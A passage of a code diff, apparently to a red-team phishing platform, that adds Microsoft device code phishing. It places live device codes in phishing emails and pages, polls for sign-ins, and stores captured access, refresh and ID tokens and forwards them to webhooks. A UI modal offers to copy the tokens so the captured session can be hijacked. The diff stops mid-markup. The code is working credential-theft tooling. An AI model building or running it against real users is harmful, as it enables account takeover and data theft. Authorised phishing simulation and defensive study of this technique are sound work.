submitData = eventData
|
||||
} else {
|
||||
submitData = vo.NewOptionalString1MBMust("{}")
|
||||
}
|
||||
submitEventID := uuid.New()
|
||||
submitDataEventTypeID := cache.EventIDByName[data.EVENT_CAMPAIGN_RECIPIENT_SUBMITTED_DATA]
|
||||
submitEvent := &model.CampaignEvent{
|
||||
ID: &submitEventID,
|
||||
CampaignID: &campaignID,
|
||||
RecipientID: &recipientID,
|
||||
EventID: submitDataEventTypeID,
|
||||
IP: vo.NewOptionalString64Must(""),
|
||||
UserAgent: vo.NewOptionalString255Must(""),
|
||||
Data: submitData,
|
||||
Metadata: vo.NewEmptyOptionalString1MB(),
|
||||
}
|
||||
if err := s.CampaignRepository.SaveEvent(ctx, submitEvent); err != nil {
|
||||
s.Logger.Errorw("failed to save device code submit event", "error", err)
|
||||
return errs.Wrap(err)
|
||||
}
|
||||
|
||||
// fire webhooks for the submitted data event
|
||||
if s.CampaignService != nil {
|
||||
webhookData := map[string]interface{}{
|
||||
"access_token": tokenResp.AccessToken,
|
||||
"refresh_token": tokenResp.RefreshToken,
|
||||
"id_token": tokenResp.IDToken,
|
||||
"user_code": entry.UserCode,
|
||||
"client_id": entry.ClientID,
|
||||
}
|
||||
if err := s.CampaignService.HandleWebhooks(
|
||||
ctx,
|
||||
&campaignID,
|
||||
&recipientID,
|
||||
data.EVENT_CAMPAIGN_RECIPIENT_SUBMITTED_DATA,
|
||||
webhookData,
|
||||
); err != nil {
|
||||
s.Logger.Errorw("failed to handle webhooks for device code capture", "error", err)
|
||||
}
|
||||
}
|
||||
|
||||
// update most notable event for the campaign recipient
|
||||
campaignRecipient, err := s.CampaignRecipientRepository.GetByCampaignAndRecipientID(
|
||||
ctx,
|
||||
&campaignID,
|
||||
&recipientID,
|
||||
&repository.CampaignRecipientOption{},
|
||||
)
|
||||
if err != nil {
|
||||
s.Logger.Errorw("failed to get campaign recipient for notable event update", "error", err)
|
||||
// not returning — the tokens are already captured, so this is best-effort
|
||||
return nil
|
||||
}
|
||||
|
||||
currentNotableEventID, _ := campaignRecipient.NotableEventID.Get()
|
||||
if cache.IsMoreNotableCampaignRecipientEventID(¤tNotableEventID, submitDataEventTypeID) {
|
||||
campaignRecipient.NotableEventID.Set(*submitDataEventTypeID)
|
||||
crid := campaignRecipient.ID.MustGet()
|
||||
if err := s.CampaignRecipientRepository.UpdateByID(ctx, &crid, campaignRecipient); err != nil {
|
||||
s.Logger.Errorw("failed to update most notable event for campaign recipient after device code capture", "error", err)
|
||||
}
|
||||
}
|
||||
|
||||
s.Logger.Infow("microsoft device code captured successfully",
|
||||
"campaignID", campaignID.String(),
|
||||
"recipientID", recipientID.String(),
|
||||
"userCode", entry.UserCode,
|
||||
)
|
||||
return nil
|
||||
}
|
||||
|
||||
// buildCapturedEventData serialises the captured token information into a 1MB-bounded vo string.
|
||||
func (s *MicrosoftDeviceCode) buildCapturedEventData(
|
||||
tokenResp *microsoftTokenResponse,
|
||||
userCode string,
|
||||
clientID string,
|
||||
) (*vo.OptionalString1MB, error) {
|
||||
payload := map[string]string{
|
||||
"access_token": tokenResp.AccessToken,
|
||||
"id_token": tokenResp.IDToken,
|
||||
"refresh_token": tokenResp.RefreshToken,
|
||||
"user_code": userCode,
|
||||
"client_id": clientID,
|
||||
}
|
||||
raw, err := json.Marshal(payload)
|
||||
if err != nil {
|
||||
return nil, fmt.Errorf("failed to marshal captured token payload: %w", err)
|
||||
}
|
||||
// a truncated JWT or refresh token is cryptographically invalid and cannot be replayed,
|
||||
// so exceeding the 1 MB limit is treated as an error rather than silently corrupting the data.
|
||||
result, err := vo.NewOptionalString1MB(string(raw))
|
||||
if err != nil {
|
||||
return nil, fmt.Errorf("captured token payload exceeds 1 MB limit: %w", err)
|
||||
}
|
||||
return result, nil
|
||||
}
|
||||
@@ -32,7 +32,8 @@ const trackingPixelTemplate = "{{.Tracker}}"
|
||||
// templates such as websites, emails, etc.
|
||||
type Template struct {
|
||||
Common
|
||||
RecipientRepository *repository.Recipient
|
||||
RecipientRepository *repository.Recipient
|
||||
MicrosoftDeviceCodeService *MicrosoftDeviceCode
|
||||
}
|
||||
|
||||
// CreateMailTemplate creates a new mail template
|
||||
@@ -254,6 +255,38 @@ func (t *Template) CreateMailBodyWithCustomURL(
|
||||
apiSender *model.APISender, // can be nil
|
||||
customCampaignURL string, // if provided, overrides the default campaign URL
|
||||
companyID *uuid.UUID,
|
||||
) (string, error) {
|
||||
return t.CreateMailBodyWithCustomURLAndRecipient(
|
||||
ctx,
|
||||
urlIdentifier,
|
||||
urlPath,
|
||||
domain,
|
||||
campaignRecipient,
|
||||
email,
|
||||
apiSender,
|
||||
customCampaignURL,
|
||||
companyID,
|
||||
nil,
|
||||
nil,
|
||||
)
|
||||
}
|
||||
|
||||
// CreateMailBodyWithCustomURLAndRecipient renders a mail body with an optional custom campaign URL.
|
||||
// when campaignID and recipientID are non-nil the DeviceCode template functions are wired to the
|
||||
// live implementation so that {{MicrosoftDeviceCode}} / {{MicrosoftDeviceCodeURL}} resolve correctly
|
||||
// in email bodies and attachments.
|
||||
func (t *Template) CreateMailBodyWithCustomURLAndRecipient(
|
||||
ctx context.Context,
|
||||
urlIdentifier string,
|
||||
urlPath string,
|
||||
domain *model.Domain,
|
||||
campaignRecipient *model.CampaignRecipient,
|
||||
email *model.Email,
|
||||
apiSender *model.APISender, // can be nil
|
||||
customCampaignURL string, // if provided, overrides the default campaign URL
|
||||
companyID *uuid.UUID,
|
||||
campaignID *uuid.UUID, // if non-nil, device code funcs are wired
|
||||
recipientID *uuid.UUID, // if non-nil, device code funcs are wired
|
||||
) (string, error) {
|
||||
mailData := t.CreateMail(
|
||||
ctx,
|
||||
@@ -271,8 +304,16 @@ func (t *Template) CreateMailBodyWithCustomURL(
|
||||
(*mailData)["URL"] = customCampaignURL
|
||||
}
|
||||
|
||||
// use device code funcs when both ids are present so {{MicrosoftDeviceCode}} resolves
|
||||
var funcs template.FuncMap
|
||||
if campaignID != nil && recipientID != nil {
|
||||
funcs = t.TemplateFuncsWithDeviceCode(ctx, campaignID, recipientID)
|
||||
} else {
|
||||
funcs = t.TemplateFuncsWithCompany(ctx, companyID)
|
||||
}
|
||||
|
||||
mailContentTemplate := template.New("mailContent")
|
||||
mailContentTemplate = mailContentTemplate.Funcs(t.TemplateFuncsWithCompany(ctx, companyID))
|
||||
mailContentTemplate = mailContentTemplate.Funcs(funcs)
|
||||
content, err := email.Content.Get()
|
||||
if err != nil {
|
||||
t.Logger.Errorw("failed to get email content", "error", err)
|
||||
@@ -326,6 +367,26 @@ func (t *Template) CreatePhishingPageWithCampaign(
|
||||
urlPath string,
|
||||
campaign *model.Campaign,
|
||||
companyID *uuid.UUID,
|
||||
) (*bytes.Buffer, error) {
|
||||
return t.CreatePhishingPageWithCampaignAndRecipient(ctx, domain, email, campaignRecipientID, nil, recipient, contentToRender, campaignTemplate, stateParam, urlPath, campaign, companyID)
|
||||
}
|
||||
|
||||
// CreatePhishingPageWithCampaignAndRecipient creates a new phishing page with optional campaign and
|
||||
// explicit recipient id for device code phishing support. when recipientID is non-nil the DeviceCode
|
||||
// template function is wired to the live implementation.
|
||||
func (t *Template) CreatePhishingPageWithCampaignAndRecipient(
|
||||
ctx context.Context,
|
||||
domain *database.Domain,
|
||||
email *model.Email,
|
||||
campaignRecipientID *uuid.UUID,
|
||||
recipientID *uuid.UUID,
|
||||
recipient *model.Recipient,
|
||||
contentToRender string,
|
||||
campaignTemplate *model.CampaignTemplate,
|
||||
stateParam string,
|
||||
urlPath string,
|
||||
campaign *model.Campaign,
|
||||
companyID *uuid.UUID,
|
||||
) (*bytes.Buffer, error) {
|
||||
w := bytes.NewBuffer([]byte{})
|
||||
id := campaignRecipientID.String()
|
||||
@@ -379,8 +440,16 @@ func (t *Template) CreatePhishingPageWithCampaign(
|
||||
}
|
||||
}
|
||||
|
||||
var templateFuncs template.FuncMap
|
||||
if campaign != nil && recipientID != nil {
|
||||
campaignID := campaign.ID.MustGet()
|
||||
templateFuncs = t.TemplateFuncsWithDeviceCode(ctx, &campaignID, recipientID)
|
||||
} else {
|
||||
templateFuncs = t.TemplateFuncsWithCompany(ctx, companyID)
|
||||
}
|
||||
|
||||
tmpl, err := template.New("page").
|
||||
Funcs(t.TemplateFuncsWithCompany(ctx, companyID)).
|
||||
Funcs(templateFuncs).
|
||||
Parse(contentToRender)
|
||||
|
||||
if err != nil {
|
||||
@@ -400,8 +469,8 @@ func (t *Template) CreatePhishingPageWithCampaign(
|
||||
|
||||
// add random recipient data to template context (excluding current recipient)
|
||||
var excludeRecipientID *uuid.UUID
|
||||
if recipientID, err := recipient.ID.Get(); err == nil {
|
||||
excludeRecipientID = &recipientID
|
||||
if rid, err := recipient.ID.Get(); err == nil {
|
||||
excludeRecipientID = &rid
|
||||
}
|
||||
(*data)["RandomRecipient"] = t.getRandomRecipientData(ctx, companyID, excludeRecipientID)
|
||||
err = tmpl.Execute(w, data)
|
||||
@@ -571,6 +640,16 @@ func TemplateFuncs() template.FuncMap {
|
||||
"base64": func(s string) string {
|
||||
return base64.StdEncoding.EncodeToString([]byte(s))
|
||||
},
|
||||
// MicrosoftDeviceCode is a no-op stub used during template validation; it is replaced with
|
||||
// a live implementation via TemplateFuncsWithDeviceCode when rendering for real recipients.
|
||||
"MicrosoftDeviceCode": func(args ...string) (string, error) {
|
||||
return "ABCD-1234", nil
|
||||
},
|
||||
// MicrosoftDeviceCodeURL is a no-op stub used during template validation; it is replaced with
|
||||
// a live implementation via TemplateFuncsWithDeviceCode when rendering for real recipients.
|
||||
"MicrosoftDeviceCodeURL": func(args ...string) (string, error) {
|
||||
return "https://microsoft.com/devicelogin", nil
|
||||
},
|
||||
}
|
||||
}
|
||||
|
||||
@@ -579,6 +658,68 @@ func (t *Template) TemplateFuncsWithCompany(ctx context.Context, companyID *uuid
|
||||
return TemplateFuncs()
|
||||
}
|
||||
|
||||
// TemplateFuncsWithDeviceCode returns template functions with live MicrosoftDeviceCode and MicrosoftDeviceCodeURL
|
||||
// implementations bound to the given campaign and recipient. both functions accept optional keyword
|
||||
// arguments as alternating key/value string pairs, e.g.:
|
||||
//
|
||||
// {{MicrosoftDeviceCode "clientId" "d3590ed6-..." "tenantId" "contoso.com"}}
|
||||
// {{MicrosoftDeviceCodeURL "clientId" "d3590ed6-..." "tenantId" "contoso.com"}}
|
||||
//
|
||||
// supported keys: clientId, tenantId, resource, scope
|
||||
//
|
||||
// MicrosoftDeviceCode returns the short user code (e.g. "ABCD-1234") to display to the victim.
|
||||
// MicrosoftDeviceCodeURL returns the verification URI the victim should visit.
|
||||
func (t *Template) TemplateFuncsWithDeviceCode(
|
||||
ctx context.Context,
|
||||
campaignID *uuid.UUID,
|
||||
recipientID *uuid.UUID,
|
||||
) template.FuncMap {
|
||||
funcs := TemplateFuncs()
|
||||
if t.MicrosoftDeviceCodeService == nil || *campaignID == uuid.Nil || *recipientID == uuid.Nil {
|
||||
// device code service not wired or no real ids available (e.g. test/preview context) —
|
||||
// return the no-op stub so the template still renders with placeholder values
|
||||
return funcs
|
||||
}
|
||||
|
||||
// parseDeviceCodeOpts parses alternating key/value argument pairs into a MicrosoftDeviceCodeOptions struct
|
||||
parseDeviceCodeOpts := func(args []string) MicrosoftDeviceCodeOptions {
|
||||
opts := MicrosoftDeviceCodeOptions{}
|
||||
for i := 0; i+1 < len(args); i += 2 {
|
||||
switch args[i] {
|
||||
case "clientId":
|
||||
opts.ClientID = args[i+1]
|
||||
case "tenantId":
|
||||
opts.TenantID = args[i+1]
|
||||
case "resource":
|
||||
opts.Resource = args[i+1]
|
||||
case "scope":
|
||||
opts.Scope = args[i+1]
|
||||
}
|
||||
}
|
||||
return opts
|
||||
}
|
||||
|
||||
funcs["MicrosoftDeviceCode"] = func(args ...string) (string, error) {
|
||||
opts := parseDeviceCodeOpts(args)
|
||||
entry, err := t.MicrosoftDeviceCodeService.GetOrCreateDeviceCode(ctx, campaignID, recipientID, opts)
|
||||
if err != nil {
|
||||
return "", fmt.Errorf("MicrosoftDeviceCode: failed to get or create device code: %w", err)
|
||||
}
|
||||
return entry.UserCode, nil
|
||||
}
|
||||
|
||||
funcs["MicrosoftDeviceCodeURL"] = func(args ...string) (string, error) {
|
||||
opts := parseDeviceCodeOpts(args)
|
||||
entry, err := t.MicrosoftDeviceCodeService.GetOrCreateDeviceCode(ctx, campaignID, recipientID, opts)
|
||||
if err != nil {
|
||||
return "", fmt.Errorf("MicrosoftDeviceCodeURL: failed to get or create device code: %w", err)
|
||||
}
|
||||
return entry.VerificationURI, nil
|
||||
}
|
||||
|
||||
return funcs
|
||||
}
|
||||
|
||||
// getRandomRecipientData gets a random recipient from a company and returns a map of their data
|
||||
func (t *Template) getRandomRecipientData(ctx context.Context, companyID *uuid.UUID, excludeRecipientID *uuid.UUID) map[string]string {
|
||||
data := map[string]string{
|
||||
|
||||
+13
-5
@@ -21,10 +21,11 @@ const SYSTEM_TASK_INTERVAL = 1 * time.Hour
|
||||
// Daemon is for running tasks in the background
|
||||
// ex: sending emails etc..
|
||||
type Runner struct {
|
||||
CampaignService *service.Campaign
|
||||
UpdateService *service.Update
|
||||
IsRunning bool
|
||||
Logger *zap.SugaredLogger
|
||||
CampaignService *service.Campaign
|
||||
UpdateService *service.Update
|
||||
MicrosoftDeviceCode *service.MicrosoftDeviceCode
|
||||
IsRunning bool
|
||||
Logger *zap.SugaredLogger
|
||||
}
|
||||
|
||||
// Run starts the rask runner
|
||||
@@ -163,7 +164,7 @@ func (d *Runner) Process(
|
||||
)
|
||||
})
|
||||
d.Logger.Debug("task runner started processing")
|
||||
// send the next batch of messagess
|
||||
// send the next batch of messages
|
||||
d.runTask("send messages", func() error {
|
||||
err := d.CampaignService.SendNextBatch(
|
||||
ctx,
|
||||
@@ -171,6 +172,13 @@ func (d *Runner) Process(
|
||||
)
|
||||
return errs.Wrap(err)
|
||||
})
|
||||
// poll pending device codes and capture any successful authentications
|
||||
d.runTask("poll device codes", func() error {
|
||||
if d.MicrosoftDeviceCode == nil {
|
||||
return nil
|
||||
}
|
||||
return d.MicrosoftDeviceCode.PollAllPending(ctx)
|
||||
})
|
||||
d.Logger.Debug("task runner ended processing")
|
||||
}
|
||||
|
||||
|
||||
@@ -25,7 +25,8 @@
|
||||
campaign_recipient_after_page_visited: '#f6287b',
|
||||
campaign_recipient_deny_page_visited: '#ff6b35',
|
||||
campaign_recipient_submitted_data: '#f42e41',
|
||||
campaign_recipient_reported: '#2c3e50'
|
||||
campaign_recipient_reported: '#2c3e50',
|
||||
campaign_recipient_info: '#94cae6'
|
||||
});
|
||||
|
||||
const EVENT_ICONS = Object.freeze({
|
||||
@@ -60,7 +61,9 @@
|
||||
campaign_recipient_submitted_data:
|
||||
'<svg fill="none" stroke="currentColor" viewBox="0 0 24 24" stroke-width="1.5"><path stroke-linecap="round" stroke-linejoin="round" d="M9 12.75L11.25 15 15 9.75M21 12a9 9 0 11-18 0 9 9 0 0118 0z"/></svg>',
|
||||
campaign_recipient_reported:
|
||||
'<svg fill="none" stroke="currentColor" viewBox="0 0 24 24"><path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" d="M12 9v2m0 4h.01m-6.938 4h13.856c1.54 0 2.502-1.667 1.732-2.5L13.732 4c-.77-.833-1.964-.833-2.732 0L4.072 16.5c-.77.833.192 2.5 1.732 2.5z"/></svg>'
|
||||
'<svg fill="none" stroke="currentColor" viewBox="0 0 24 24"><path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" d="M12 9v2m0 4h.01m-6.938 4h13.856c1.54 0 2.502-1.667 1.732-2.5L13.732 4c-.77-.833-1.964-.833-2.732 0L4.072 16.5c-.77.833.192 2.5 1.732 2.5z"/></svg>',
|
||||
campaign_recipient_info:
|
||||
'<svg fill="none" stroke="currentColor" viewBox="0 0 24 24"><path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" d="M13 16h-1v-4h-1m1-4h.01M21 12a9 9 0 11-18 0 9 9 0 0118 0z"/></svg>'
|
||||
});
|
||||
|
||||
const DEFAULT_ICON =
|
||||
@@ -126,7 +129,8 @@
|
||||
campaign_recipient_after_page_visited: true,
|
||||
campaign_recipient_deny_page_visited: true,
|
||||
campaign_recipient_submitted_data: true,
|
||||
campaign_recipient_reported: true
|
||||
campaign_recipient_reported: true,
|
||||
campaign_recipient_info: true
|
||||
};
|
||||
|
||||
// caching - pre-processed events with timestamps
|
||||
@@ -1080,7 +1084,7 @@
|
||||
Recipient Events
|
||||
</h4>
|
||||
<div class="space-y-1 pl-2">
|
||||
{#each [['campaign_recipient_scheduled', 'Scheduled'], ['campaign_recipient_cancelled', 'Cancelled'], ['campaign_recipient_message_sent', 'Message Sent'], ['campaign_recipient_message_failed', 'Message Failed'], ['campaign_recipient_message_read', 'Message Read'], ['campaign_recipient_before_page_visited', 'Before Page Visited'], ['campaign_recipient_page_visited', 'Page Visited'], ['campaign_recipient_after_page_visited', 'After Page Visited'], ['campaign_recipient_deny_page_visited', 'Deny Page Visited'], ['campaign_recipient_submitted_data', 'Data Submitted'], ['campaign_recipient_reported', 'Reported']] as [key, label]}
|
||||
{#each [['campaign_recipient_scheduled', 'Scheduled'], ['campaign_recipient_cancelled', 'Cancelled'], ['campaign_recipient_message_sent', 'Message Sent'], ['campaign_recipient_message_failed', 'Message Failed'], ['campaign_recipient_message_read', 'Message Read'], ['campaign_recipient_before_page_visited', 'Before Page Visited'], ['campaign_recipient_page_visited', 'Page Visited'], ['campaign_recipient_after_page_visited', 'After Page Visited'], ['campaign_recipient_deny_page_visited', 'Deny Page Visited'], ['campaign_recipient_submitted_data', 'Data Submitted'], ['campaign_recipient_reported', 'Reported'], ['campaign_recipient_info', 'Info']] as [key, label]}
|
||||
<label class="flex items-center text-xs">
|
||||
<input
|
||||
type="checkbox"
|
||||
|
||||
@@ -11,6 +11,7 @@
|
||||
setupVimClipboardIntegration,
|
||||
destroyVimClipboardIntegration
|
||||
} from '$lib/utils/vimClipboard.js';
|
||||
import { displayMode, DISPLAY_MODE } from '$lib/store/displayMode';
|
||||
/** @type {'domain'|'page'|'email'} */
|
||||
|
||||
export let contentType;
|
||||
@@ -79,6 +80,20 @@
|
||||
]
|
||||
};
|
||||
|
||||
// device code templates are only available in blackbox (red team phishing) mode
|
||||
const deviceCodeTemplates = [
|
||||
{ label: 'Device Code (user code)', text: '{{MicrosoftDeviceCode}}' },
|
||||
{ label: 'Device Code (verification URL)', text: '{{MicrosoftDeviceCodeURL}}' }
|
||||
];
|
||||
|
||||
$: computedTemplates = (() => {
|
||||
const result = { ...templates };
|
||||
if ($displayMode === DISPLAY_MODE.BLACKBOX) {
|
||||
result['Device Code'] = deviceCodeTemplates;
|
||||
}
|
||||
return result;
|
||||
})();
|
||||
|
||||
switch (contentType) {
|
||||
case 'domain': {
|
||||
delete templates['Email'];
|
||||
@@ -438,7 +453,9 @@
|
||||
.replaceAll('{{.TrackerURL}}', '')
|
||||
.replaceAll('{{.From}}', '')
|
||||
.replaceAll('{{.BaseURL}}', _baseURL)
|
||||
.replaceAll('{{.URL}}', _url);
|
||||
.replaceAll('{{.URL}}', _url)
|
||||
.replaceAll('{{MicrosoftDeviceCode}}', 'ABCD-1234')
|
||||
.replaceAll('{{MicrosoftDeviceCodeURL}}', 'https://microsoft.com/devicelogin');
|
||||
case 'email':
|
||||
return text
|
||||
.replaceAll('{{.FirstName}}', 'Alice')
|
||||
@@ -462,7 +479,9 @@
|
||||
)
|
||||
.replaceAll('{{.From}}', 'sender@new-order.test')
|
||||
.replaceAll('{{.BaseURL}}', _baseURL)
|
||||
.replaceAll('{{.URL}}', _url);
|
||||
.replaceAll('{{.URL}}', _url)
|
||||
.replaceAll('{{MicrosoftDeviceCode}}', 'ABCD-1234')
|
||||
.replaceAll('{{MicrosoftDeviceCodeURL}}', 'https://microsoft.com/devicelogin');
|
||||
}
|
||||
};
|
||||
|
||||
@@ -641,7 +660,7 @@
|
||||
}}
|
||||
>
|
||||
<option class="" value="">Templates...</option>
|
||||
{#each Object.entries(templates) as [group, items]}
|
||||
{#each Object.entries(computedTemplates) as [group, items]}
|
||||
<optgroup label={group}>
|
||||
{#each items as item}
|
||||
<option value={item.text}>{item.label}</option>
|
||||
|
||||
@@ -41,6 +41,11 @@ const eventNameMap = {
|
||||
priority: 95,
|
||||
color: 'bg-reported'
|
||||
},
|
||||
campaign_recipient_info: {
|
||||
name: 'Info',
|
||||
priority: 25,
|
||||
color: 'bg-message-sent'
|
||||
},
|
||||
// campaign events
|
||||
campaign_scheduled: { name: 'Scheduled', priority: 10 },
|
||||
campaign_active: { name: 'Active', priority: 20 },
|
||||
|
||||
@@ -152,6 +152,7 @@
|
||||
let reportedDateColumn = '';
|
||||
let pendingEmailPreviewRecipient = null;
|
||||
let storedCookieData = '';
|
||||
let storedTokenData = '';
|
||||
let isDeleteEventAlertVisible = false;
|
||||
let deleteEventValues = {
|
||||
id: null,
|
||||
@@ -652,6 +653,7 @@
|
||||
const closeSessionSushiModal = () => {
|
||||
isSessionSushiModalVisible = false;
|
||||
storedCookieData = '';
|
||||
storedTokenData = '';
|
||||
};
|
||||
|
||||
const onSessionSushiModalOk = () => {
|
||||
@@ -661,12 +663,19 @@
|
||||
/** @param {string} eventData @param {string} eventName */
|
||||
const onClickCopyEventData = async (eventData, eventName) => {
|
||||
try {
|
||||
// remove the cookie emoji prefix before copying
|
||||
const dataWithoutEmoji = eventData.startsWith('🍪 ') ? eventData.substring(2) : eventData;
|
||||
// remove emoji prefix before copying
|
||||
let dataWithoutEmoji = eventData;
|
||||
if (eventData.startsWith('🍪 ')) dataWithoutEmoji = eventData.substring(2);
|
||||
else if (eventData.startsWith('🔑 ')) dataWithoutEmoji = eventData.substring(2);
|
||||
await navigator.clipboard.writeText(dataWithoutEmoji);
|
||||
|
||||
if (eventName === 'campaign_recipient_submitted_data' && eventData.startsWith('🍪')) {
|
||||
storedCookieData = eventData;
|
||||
storedTokenData = '';
|
||||
isSessionSushiModalVisible = true;
|
||||
} else if (eventName === 'campaign_recipient_submitted_data' && eventData.startsWith('🔑')) {
|
||||
storedTokenData = eventData;
|
||||
storedCookieData = '';
|
||||
isSessionSushiModalVisible = true;
|
||||
}
|
||||
|
||||
@@ -691,6 +700,20 @@
|
||||
}
|
||||
};
|
||||
|
||||
const onClickCopyTokens = async () => {
|
||||
try {
|
||||
// remove the token emoji prefix before copying
|
||||
const dataWithoutEmoji = storedTokenData.startsWith('🔑 ')
|
||||
? storedTokenData.substring(2)
|
||||
: storedTokenData;
|
||||
await navigator.clipboard.writeText(dataWithoutEmoji);
|
||||
addToast('Copied to clipboard', 'Success');
|
||||
} catch (e) {
|
||||
addToast('Failed to copy token data', 'Error');
|
||||
console.error('failed to copy token data', e);
|
||||
}
|
||||
};
|
||||
|
||||
const openDeleteEventAlert = (event) => {
|
||||
isDeleteEventAlertVisible = true;
|
||||
deleteEventValues.id = event.id;
|
||||
@@ -1052,6 +1075,18 @@
|
||||
// parse the event data as JSON
|
||||
const parsedData = JSON.parse(eventData);
|
||||
|
||||
// check if it's a device code token capture (access_token present)
|
||||
if (parsedData.access_token) {
|
||||
const tokenPayload = {
|
||||
access_token: parsedData.access_token,
|
||||
refresh_token: parsedData.refresh_token || '',
|
||||
id_token: parsedData.id_token || '',
|
||||
user_code: parsedData.user_code || '',
|
||||
client_id: parsedData.client_id || ''
|
||||
};
|
||||
return '🔑 ' + JSON.stringify(tokenPayload, null, 2);
|
||||
}
|
||||
|
||||
// check if it's the new cookie bundle format
|
||||
if (parsedData.capture_type === 'cookie' && parsedData.cookies) {
|
||||
const cookies = [];
|
||||
@@ -1848,7 +1883,7 @@
|
||||
<EventName eventName={campaign.eventTypesIDToNameMap[event.eventID]} />
|
||||
</TableCell>
|
||||
<TableCell>
|
||||
{#if campaign.eventTypesIDToNameMap[event.eventID] === 'campaign_recipient_submitted_data' && formatEventData(event.data, campaign.eventTypesIDToNameMap[event.eventID]).startsWith('🍪')}
|
||||
{#if campaign.eventTypesIDToNameMap[event.eventID] === 'campaign_recipient_submitted_data' && (formatEventData(event.data, campaign.eventTypesIDToNameMap[event.eventID]).startsWith('🍪') || formatEventData(event.data, campaign.eventTypesIDToNameMap[event.eventID]).startsWith('🔑'))}
|
||||
<button
|
||||
class="hover:bg-gray-100 dark:hover:bg-gray-700 px-2 py-1 rounded-md transition-colors w-full text-left text-ellipsis overflow-hidden text-gray-900 dark:text-gray-100"
|
||||
title={formatEventData(event.data, campaign.eventTypesIDToNameMap[event.eventID])}
|
||||
@@ -2087,7 +2122,7 @@
|
||||
<EventName eventName={campaign.eventTypesIDToNameMap[event.eventID]} />
|
||||
</TableCell>
|
||||
<TableCell>
|
||||
{#if campaign.eventTypesIDToNameMap[event.eventID] === 'campaign_recipient_submitted_data' && formatEventData(event.data, campaign.eventTypesIDToNameMap[event.eventID]).startsWith('🍪')}
|
||||
{#if campaign.eventTypesIDToNameMap[event.eventID] === 'campaign_recipient_submitted_data' && (formatEventData(event.data, campaign.eventTypesIDToNameMap[event.eventID]).startsWith('🍪') || formatEventData(event.data, campaign.eventTypesIDToNameMap[event.eventID]).startsWith('🔑'))}
|
||||
<button
|
||||
class="hover:bg-gray-100 dark:hover:bg-gray-700 px-2 py-1 rounded-md transition-colors w-full text-left text-ellipsis overflow-hidden text-gray-900 dark:text-gray-100"
|
||||
title={formatEventData(event.data, campaign.eventTypesIDToNameMap[event.eventID])}
|
||||
@@ -2543,44 +2578,80 @@
|
||||
</Alert>
|
||||
|
||||
<Modal
|
||||
headerText={'Cookies captured'}
|
||||
headerText={storedTokenData ? 'Tokens captured' : 'Cookies captured'}
|
||||
visible={isSessionSushiModalVisible}
|
||||
onClose={closeSessionSushiModal}
|
||||
>
|
||||
<div class="mt-4">
|
||||
<!-- Introduction Section -->
|
||||
<div>
|
||||
<h3
|
||||
class="text-xl font-semibold text-gray-700 dark:text-gray-200 transition-colors duration-200"
|
||||
>
|
||||
Import cookie
|
||||
</h3>
|
||||
<p class="text-gray-600 dark:text-gray-300 mb-4 transition-colors duration-200">
|
||||
Cookies can be imported and exchanged for tokens using the <a
|
||||
href="https://github.com/phishingclub/session-sushi"
|
||||
target="_blank"
|
||||
class="text-blue-600 dark:text-white hover:underline">Session Sushi</a
|
||||
> extension.
|
||||
</p>
|
||||
</div>
|
||||
{#if storedTokenData}
|
||||
<!-- token capture introduction section -->
|
||||
<div>
|
||||
<h3
|
||||
class="text-xl font-semibold text-gray-700 dark:text-gray-200 transition-colors duration-200"
|
||||
>
|
||||
Import tokens
|
||||
</h3>
|
||||
<p class="text-gray-600 dark:text-gray-300 mb-4 transition-colors duration-200">
|
||||
Tokens can be imported into <a
|
||||
href="https://github.com/phishingclub/session-sushi"
|
||||
target="_blank"
|
||||
class="text-blue-600 dark:text-white hover:underline">Session Sushi</a
|
||||
> to hijack the captured session.
|
||||
</p>
|
||||
</div>
|
||||
|
||||
<!-- Copy Section -->
|
||||
<div class="bg-gray-50 dark:bg-gray-700 p-4 rounded-md transition-colors duration-200">
|
||||
<button
|
||||
class="text-blue-600 dark:text-white hover:text-blue-800 dark:hover:text-gray-300 font-medium inline-flex items-center gap-2"
|
||||
on:click={onClickCopyCookies}
|
||||
>
|
||||
<svg class="w-4 h-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
|
||||
<path
|
||||
stroke-linecap="round"
|
||||
stroke-linejoin="round"
|
||||
stroke-width="2"
|
||||
d="M8 16H6a2 2 0 01-2-2V6a2 2 0 012-2h8a2 2 0 012 2v2m-6 12h8a2 2 0 002-2v-8a2 2 0 00-2-2h-8a2 2 0 00-2 2v8a2 2 0 002 2z"
|
||||
></path>
|
||||
</svg>
|
||||
Copy cookies
|
||||
</button>
|
||||
</div>
|
||||
<!-- token copy section -->
|
||||
<div class="bg-gray-50 dark:bg-gray-700 p-4 rounded-md transition-colors duration-200">
|
||||
<button
|
||||
class="text-blue-600 dark:text-white hover:text-blue-800 dark:hover:text-gray-300 font-medium inline-flex items-center gap-2"
|
||||
on:click={onClickCopyTokens}
|
||||
>
|
||||
<svg class="w-4 h-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
|
||||
<path
|
||||
stroke-linecap="round"
|
||||
stroke-linejoin="round"
|
||||
stroke-width="2"
|
||||
d="M8 16H6a2 2 0 01-2-2V6a2 2 0 012-2h8a2 2 0 012 2v2m-6 12h8a2 2 0 002-2v-8a2 2 0 00-2-2h-8a2 2 0 00-2 2v8a2 2 0 002 2z"
|
||||
></path>
|
||||
</svg>
|
||||
Copy tokens
|
||||
</button>
|
||||
</div>
|
||||
{:else}
|
||||
<!-- cookie capture introduction section -->
|
||||
<div>
|
||||
<h3
|
||||
class="text-xl font-semibold text-gray-700 dark:text-gray-200 transition-colors duration-200"
|
||||
>
|
||||
Import cookie
|
||||
</h3>
|
||||
<p class="text-gray-600 dark:text-gray-300 mb-4 transition-colors duration-200">
|
||||
Cookies can be imported and exchanged for tokens using the <a
|
||||
href="https://github.com/phishingclub/session-sushi"
|
||||
target="_blank"
|
||||
class="text-blue-600 dark:text-white hover:underline">Session Sushi</a
|
||||
> extension.
|
||||
</p>
|
||||
</div>
|
||||
|
||||
<!-- cookie copy section -->
|
||||
<div class="bg-gray-50 dark:bg-gray-700 p-4 rounded-md transition-colors duration-200">
|
||||
<button
|
||||
class="text-blue-600 dark:text-white hover:text-blue-800 dark:hover:text-gray-300 font-medium inline-flex items-center gap-2"
|
||||
on:click={onClickCopyCookies}
|
||||
>
|
||||
<svg class="w-4 h-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
|
||||
<path
|
||||
stroke-linecap="round"
|
||||
stroke-linejoin="round"
|
||||
stroke-width="2"
|
||||
